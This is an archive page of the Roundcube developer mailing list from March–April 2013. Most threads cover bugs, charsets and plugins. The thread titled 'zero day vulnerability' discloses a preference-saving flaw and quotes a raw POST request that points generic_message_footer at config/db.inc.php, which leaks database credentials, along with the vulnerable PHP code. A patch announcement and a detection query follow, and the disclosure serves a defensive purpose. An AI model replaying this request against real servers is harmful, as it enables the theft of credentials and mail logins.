Dev

dev@lists.roundcube.net

4296 discussions

security audit?
by Kelsey Cummings 09 Apr '13

09 Apr '13

I'm curious if a security audit/code review has been performed on RC in the past and, if not, is there any interested by the other commercial users here in sponsoring one? -- Kelsey Cummings - kgc(a)corp.sonic.net sonic.net, inc. System Architect 2260 Apollo Way 707.522.1000 Santa Rosa, CA 95407

1 0

Develompment Plugin Message Attachment
by tornis＠tornis.com.br 09 Apr '13

09 Apr '13

Hello Developers, I need a functionality message attachment to another message. For example: I'm writing a new post and would like to attach a message in my inbox or any other message that is in my mailbox. If someone interested in developing this plugin please contact tornis(a)tornis.com.br. We are willing to pay for development and provide for the community under GPL licensing. The following minimum requirements: 1 - Allow message attachment to a new message (similar to thunderbird) 2 - Allow View member the attached message in a new window 3 - Allow searching of messages to be attached 4 - Allow append multiple messages to a message Sorry for my English and thank you all. Rodrigo Tornis

2 1

HTML vs Text issues
by Michael Heydekamp 04 Apr '13

04 Apr '13

I'm referring to the multipart7alternative message of Manfred Usselmann in this list, 23.03.2013, 08:51. In the HTML part, the quote levels get incorrect upon replying (quoted and new text have the same quote level then, although they look ok when displaying the message), and there are blank lines in the quoted part of Manfred's message where they weren't in the original before. But the text part is even worse: The format is totally garbled, and even more worse, a lot of text is completely missing. Look at the line ... ------------------------------- > Yes, that's what we currently have. ------------------------------- ...for instance. Why is it formatted/wrapped this way if it is correct in the HTML part? And where is all the text gone? See images attached. Cheers, -- Michael Heydekamp Co-Admin freexp.de Düsseldorf/Germany

2 4

Subject empty upon replying?
by Michael Heydekamp 03 Apr '13

03 Apr '13

Hi there, is it deliberate that a reply to a message with the subject header ... -------------------------------------------------- Subject: Re: [TICKET #38797] Ankündigung Kündigung -------------------------------------------------- ... leaves the subject entirely empty?? Of course the subject does contain 8-bit chars and is therefore not encoded correctly (or to be more precise, it's not encoded at all), but is this a good reason to delete it completely upon replying? In the message view pane, the subject is displayed as: --------------------------------------- Re: [TICKET #38797] Ankndigung Kndigung --------------------------------------- The 8-bit chars are deleted there. Wouldn't it be better to replace them with "?"...? And the same could/should be done upon replying, IMO. Cheers, -- Michael Heydekamp Co-Admin freexp.de Düsseldorf/Germany

4 17

Charset declaration and display of text attachments
by Michael Heydekamp 02 Apr '13

02 Apr '13

How can I make sure that all of the three attachments to this post will be displayed correctly in Roundcube when clicking on the attachment link? Currently only the UTF-8 version will be displayed correctly. I'm not sure about how to deal with the Unicode version, but at least the plain text version is definitely lacking of a correct charset declaration (or better, of a charset declaration at all). As this charset can't be detected or known by any other than the user who is attaching the text file, I suggest that there should be a facility to select the appropriate charset - sometimes... But apart from that, I'm wondering which charset Roundcube is using at all when displaying the plain text file...? It is apparently not the local 8bit charset of my system (Windows-1252), as it should then being displayed this way: > ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¸ > ³ DOS Codepage 437 ³ > ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¾ But see yourself what the output is (image attached as well)... Cheers, -- Michael Heydekamp Co-Admin freexp.de Düsseldorf/Germany

2 4

possible bug in 0.9rc
by Cor Bosman 01 Apr '13

01 Apr '13

Hey all, just wondering if this could be a bug. If so, i'll add it to the tracker, else i'll fix my plugin. I got a report that my listcommands plugin starts throwing errors in 0.9 because in message_headers_output $p['headers']->others[$key] ends up being an array instead of a string. This is weird, because in the example sent to me, I see the following: List-Post: <mailto:users@foo.bar> But when you var_dump the data in the hook you see: "list-post"]=> array(2) { [0]=> string(22) "<mailto:users@foo.bar>" [1]=> string(22) "<mailto:users@foo.bar>" } My guess is that this may be because RC itself now asks for LIST-POST header, and my plugin adds that to the requested header set in imap_init. Now I can remove that, but I think RC shouldnt fetch the same content twice and add a duplicate to the header array. Or is this intended behavior? Regards, Cor

2 1

Security updates 0.8.6 and 0.7.3 for save-pref vulnerability
by Thomas Bruederli 29 Mar '13

29 Mar '13

After getting reports about a possible vulnerability of Roundcube which allows an attacker to modify its users preferences in a way that he/she can then read files from the server, we now published updated packages as well as patches that fix this security issue. Please update all your Roundcube installations with the new versions (0.9-rc2, 0.8.6, 0.7.4) or patch them with the published patches. Download the latest version from http://roundcube.net/download Patch for 0.9.x: http://ow.ly/jtQD0 Patch for 0.8.x: http://ow.ly/jtQHM Patch for 0.7.x: http://ow.ly/jtQK0 Patch for 0.6: http://ow.ly/jtQNd In order to find out whether one of your users has vulnerable preferences, you can run the following query on the Roundcube user database: SELECT * FROM users WHERE preferences LIKE '%generic_message_footer%' If this returns any results, you should at least clear the 'preferences' field of that user entry. Or better: entirely block the user because he or she most likely tried to exploit your system. And here's some background about the vulnerability: http://lists.roundcube.net/pipermail/dev/2013-March/022328.html Best regards, Thomas

5 12

zero day vulnerability (tested on v8.0 to 9.0)
by Sergey Sidlyarenko 28 Mar '13

28 Mar '13

Hacker first change value in user preference generic_message_footer to any file allowed to read roundcube (config/db.inc.php config/main.inc.php), after send herself message (with included config file). This allow view session crypto key, and db user and password. If at hosting installed phpmyadmin (mysql) or pgmyadmin (pgsql) and session saved in db, hacker get user mail login and password. Finded in Russian tech blog (http://habrahabr.ru/post/174423/). ------ POST /?_task=settings&_action=save-pref&check_request=&_check_request= HTTP/1.1" 200 1133 "http://mail.ddos-guard.net/?_task=mail" "Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0" "_token=0f7c9ae8a387cb0bc5ce563fa09fe172&_session=generic_message_footer&_name=generic_message_footer&_value=config/db.inc.php ------ index.php: else if ($RCMAIL->action == 'save-pref') { include INSTALL_PATH . 'program/steps/utils/save_pref.inc'; } ------ program/steps/utils/save_pref.inc: $name = get_input_value('_name', RCUBE_INPUT_POST); $value = get_input_value('_value', RCUBE_INPUT_POST); // save preference value $RCMAIL->user->save_prefs(array($name => $value)); //<--------- rewrite value // update also session if requested if ($sessname = get_input_value('_session', RCUBE_INPUT_POST)) { // Support multidimensional arrays... $vars = explode('/', $sessname); // ... up to 3 levels if (count($vars) == 1) $_SESSION[$vars[0]] = $value; else if (count($vars) == 2) $_SESSION[$vars[0]][$vars[1]] = $value; else if (count($vars) == 3) $_SESSION[$vars[0]][$vars[1]][$vars[2]] = $value; } $OUTPUT->reset(); $OUTPUT->send(); ------ program/steps/mail/sendmail.inc // generic footer for all messages if ($isHtml && !empty($CONFIG['generic_message_footer_html'])) { $footer = file_get_contents(realpath($CONFIG['generic_message_footer_html'])); //<----- load file from value path $footer = rcube_charset_convert($footer, RCMAIL_CHARSET, $message_charset); } else if (!empty($CONFIG['generic_message_footer'])) { $footer = file_get_contents(realpath($CONFIG['generic_message_footer'])); //<----- load file from value path $footer = rcube_charset_convert($footer, RCMAIL_CHARSET, $message_charset); if ($isHtml) $footer = '<pre>'.$footer.'</pre>'; } -- Sidlyarenko Sergey https://github.com/lefoyer

6 10

mis-typed attachment handling
by Kelsey Cummings 27 Mar '13

27 Mar '13

We getting ready to role out roundcube for our webmail platform and our testing ran into one issue so far that seems like a good idea to push upstream. I searched but didn't find any mention of this so please pardon in advance if this has already been discussed. One of our testers had an email with a pdf attachment that had a mime type of text/plain. Roundcube displays the pdf as text. We tested a few other clients and it looks like recent version of outlook and apple mail display the attachment as a pdf but thunderbird displays it as plain text so there isn't unanimous that a mail client should handle this either way. What is roundcubes opinion on attachments with incorrect mime types? There's a pretty good argument that a end user doesn't really care that whoever sent them an attachment used broken software to do it, particularly if they use another client that displays it correctly. -- Kelsey Cummings - kgc(a)corp.sonic.net sonic.net, inc. System Architect 2260 Apollo Way 707.522.1000 Santa Rosa, CA 95407

2 2

SVN list dead?
by Michael Heydekamp 26 Mar '13

26 Mar '13

Since March 20th, I've not seen any new messages in the SVN list. Although I know and I can confirm, that there have been commits since then. Hmm?? Cheers, -- Michael Heydekamp Co-Admin freexp.de Düsseldorf/Germany

2 1

Jump to page:

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

Dev